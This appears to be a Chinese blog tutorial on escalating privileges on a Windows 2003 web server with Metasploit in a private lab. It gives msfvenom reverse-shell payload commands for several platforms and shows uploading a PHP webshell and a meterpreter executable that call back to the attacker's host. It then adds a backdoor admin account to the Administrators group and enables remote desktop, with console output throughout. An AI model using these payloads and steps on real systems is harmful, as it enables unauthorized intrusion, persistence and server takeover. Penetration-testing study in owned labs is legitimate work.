网站提权之MSF骚操作

对着背影说爱祢 提交于 2019-12-01 13:47:36

测试环境:

  • 内网,没钱买服务器,而且还拿不到站,尴尬的事情😭
  • 攻击者:parrotos 这个系统跟kali差不多
  • 服务器:windows2003

那么,我们现在先来看看使用msfvenom如何生成payload

msfvenom

这个是一个什么东西就不用说了吧,玩过metasploit的都知道(表示我还是一个新手!!!),当然没玩过的自行谷歌,已经很多大佬跟我说过这个是渗透测试最基本的东西

在freebuf上面看到msfvenom命令行选项的中文翻译,我直接搬过来了,不犯法吧,哈哈哈!!!

msfvenom命令行选项

Options:

12345678910111213141516171819
-p, --payload    <payload>       指定需要使用的payload(攻击载荷)。如果需要使用自定义的payload,请使用'-'或者stdin指定-l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all-n, --nopsled    <length>        为payload预先指定一个NOP滑动长度-f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)-e, --encoder    [encoder]       指定需要使用的encoder(编码器)-a, --arch       <architecture>  指定payload的目标架构    --platform   <platform>      指定payload的目标平台-s, --space      <length>        设定有效攻击载荷的最大长度-b, --bad-chars  <list>          设定规避字符集,比如: '\x00\xff'-i, --iterations <count>         指定payload的编码次数-c, --add-code   <path>          指定一个附加的win32 shellcode文件-x, --template   <path>          指定一个自定义的可执行文件作为模板-k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行    --payload-options            列举payload的标准选项-o, --out   <path>               保存payload-v, --var-name <name>            指定一个自定义的变量,以确定输出格式    --shellest                   最小化生成payload-h, --help                       查看帮助选项    --help-formats               查看msf支持的输出格式列表

 

生成payload

生成payload,有有两个必须的选项:-p -f
使用-p 来指定要使用的payload。
可以使用下面的命令来查看所有msf可用的payload列表

1
./msfvenom -l payloads

 

-p选项也支持使用使用自定义的payload,需要使用 “-“,比如:

1
cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw

 

使用-f 来指定payload的输出格式
举例:

1
./msfvenom -p windows/meterpreter/bind_tcp -f exe

 

使用下面的命令,可以产看msf支持的输出格式

1
./msfvenom --help-formats

 

一个典型的msfvenom使用举例如下:

1
$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe

 

使用自定义可执行文件模板

默认的,msfvenom使用的模板文件保存在msf/data/templates目录中,如果你想使用你自己的模板文件,你可以使用-x选项来指定,比如:

1
./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

 

这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。
注意:如果你想要创建一个windows的x64的可执行文件模板来生成一个x64的payload,你只能使用exe格式的模板。
使用-x选项经常和-k选项配合使用,-k选项会将你的payload作为一个新的进程运行。但目前这个选项只支持老版本的windows系统比如windows xp


 

MSF Payloads

生成攻击载荷

Linux下反弹Meterpreter shell

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=<your port to connect on> -e -f elf -a x86 --platform linux -o shell

 

C反弹shell(C shellcode)

1
msfvenom -p windows/shell_reverse_tcp LHOST=<your IP Address> LPORT=<your port to connect on> -b "\x00\x0a\x0d" -a x86 --platform win -f c

 

Python反弹shell

1
msfvenom -p cmd/unix/reverse_python LHOST=<your IP Address> LPORT=<your port to connect on> -o shell.py

 

Asp反弹shell

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

 

Bash反弹shell

1
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

 

PHP反弹shell

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell.php

 

Windows反弹shell

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

 

上面是一些msfvenom可以生成的攻击载荷

因为我们的需要提权网站是php的,所以就需要生成php载荷


 

开始我们的表演

接下来全是一些瞎操作😂

将php大马上传到服务器
我这里已经上传成功了
但是执行whomai,net user命令没有回显,那证明权限不够,所以我们拿着msf来提权


接着
打开parrotos系统,这个系统叫做“鹦鹉”,跟kali差不多,感兴趣的自行谷歌
执行命令生成攻击载荷:

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=3333 -f raw -o shell.php

 


shell.php这个载荷已经生成好了,生成好了的文件在当前目录,现在我们将它上传到服务器


已经成功上传,当然,光这样是不够的,现在切换到parrotos虚拟机系统
我们需要去执行一些漏洞利用模块
在命令行窗口输入msfconsole就可以进入metasploit了

12345678
┌─[root@parrot]─[~]└──╼ # msfconsole	//输入这条命令msf > use exploit/multi/handlermsf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp		//设置payloadmsf exploit(multi/handler) > show options	//显示选项msf exploit(multi/handler) > set LHOST 192.168.32.129	//设置ip地址,注意,这个要与上面攻击载荷里面的相同msf exploit(multi/handler) > set LPORT 3333		//设置端口,这个也要相同msf exploit(multi/handler) > exploit	//执行攻击

 



现在parrotos系统这边正在监听中,我们现在只需要去执行我们上传的php文件,在任意系统中打开那个shell.php网页即可触发


看到 meterpreter> 就已经反弹了一个shell了,接着输入直接输入getuid

123
meterpreter > getuid Server username: Administrator (0)    //看到这个地方是administrator就成功了,我们已经有了超级管理员权限了meterpreter >

 

直接输入shell可以进入bash终端

1234567
meterpreter > shellProcess 660 created.Channel 0 created.Microsoft Windows [�汾 5.2.3790](C) ��Ȩ���� 1985-2003 Microsoft Corp.C:\phpStudy\WWW\webpentest\varcov>

 

记录这个位置C:\phpStudy\WWW\webpentest\varcov>
没搞懂为什么在输入shell后执行net user类似的命令为什么会断开连接,有哪位大佬看到是否可以帮忙解释一下

1234
Terminate channel 0? [y/N]  y[-] Error running command shell: Rex::TimeoutError Operation timed out.meterpreter > [*] 192.168.32.143 - Meterpreter session 2 closed.  Reason: Died

 

看到上面出问题了,难道没戏了吗,当然不是了,meterpreter>那个界面的功能已经够我们用了

由于我的php大马支持cmd命令执行,果断的从新生成了一个exe文件,上传到服务器

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=4444 -f exe -a x86 --platform win -o shell.exe

 

生成了shell.exe,现在试着用其他方法上传到服务器,我们在执行一次php文件,然后parrotos系统这边又监听到了一个会话,直接连接进去
接着直接upload上传文件即可

12345678
[*] Started reverse TCP handler on 192.168.32.129:3333 [*] Sending stage (37543 bytes) to 192.168.32.143[*] Meterpreter session 4 opened (192.168.32.129:3333 -> 192.168.32.143:1096) at 2018-04-20 21:18:56 +0800	//重新连接成功meterpreter > upload shell.exe C:\\phpStudy\\WWW\\webpentest\\varcov\   //这个位置上面已经说到过,上传到这个位置即可[*] uploading  : shell.exe -> C:\phpStudy\WWW\webpentest\varcov\[*] uploaded   : shell.exe -> C:\phpStudy\WWW\webpentest\varcov\\shell.exemeterpreter >

 

ok,上传成功,因为生成的exe文件是用的一个新端口,并且payload是windows/meterpereter/reverse_tcp
,所以返回重新设置即可

12345
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(multi/handler) > set lport 4444lport => 4444msf exploit(multi/handler) > exploit 	//执行

 

完成上面操作后,来到php大马在命令执行中写入路径即可
C:\phpStudy\WWW\webpentest\varcov\shell.exe
由于是windows系统,所以注意斜杠问题,windows的是反斜杠”\”

接着提权:

12345678910111213141516171819202122232425262728293031323334353637383940414243444546
meterpreter > getuidServer username: AA-C86AD57B48D6\Administrator	//看到这个位置的administrator跟上面php得的不一样,感觉那个可能是一个假的权限meterpreter > shell	//进入bash终端Process 3300 created.Channel 1 created.Microsoft Windows [�汾 5.2.3790](C) ��Ȩ���� 1985-2003 Microsoft Corp.C:\phpStudy\WWW\webpentest\varcov>net user	//执行net user命令没有发现admin用户net user\\AA-C86AD57B48D6 ���û��ʻ�-------------------------------------------------------------------------------Administrator            ASPNET                   Guest                    IUSR_AA-C86AD57B48D6     IWAM_AA-C86AD57B48D6     SUPPORT_388945a0         �����ɹ����ɡ�C:\phpStudy\WWW\webpentest\varcov>net user admin admin /add		//创建一个admin用户net user admin admin /add�����ɹ����ɡ�C:\phpStudy\WWW\webpentest\varcov>net localgroup administrators admin /add	//提权net localgroup administrators admin /add�����ɹ����ɡ�C:\phpStudy\WWW\webpentest\varcov>net user admin	//admin用户的信息net user admin�û���                 admin此处省略��������Ա       *Administrators   *Users	//看到这个地方有Administrator用户组就成功了C:\phpStudy\WWW\webpentest\varcov>exit	//退出bash终端exit//权限有了,3389没开,我直接用这个开吧!!!meterpreter > run getgui -e		//开启3389端口[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.[!] Example: run post/windows/manage/enable_rdp OPTION=value [...][*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator[*] Carlos Perez carlos_perez@darkoperator.com[*] Enabling Remote Desktop[*] 	RDP is disabled; enabling it ...[*] Setting Terminal Services service startup mode[*] 	The Terminal Services service is not set to auto, changing it to auto ...[*] 	Opening port in local firewall if necessary[*] For cleanup use command: run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20180420.5422.rcmeterpreter >

 

3389端口也已经开启了,接下来拿我们的win10去连接即可


大概就这么多了吧,下次有时间写一个metasploit的使用,这个框架还是比较牛逼的

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!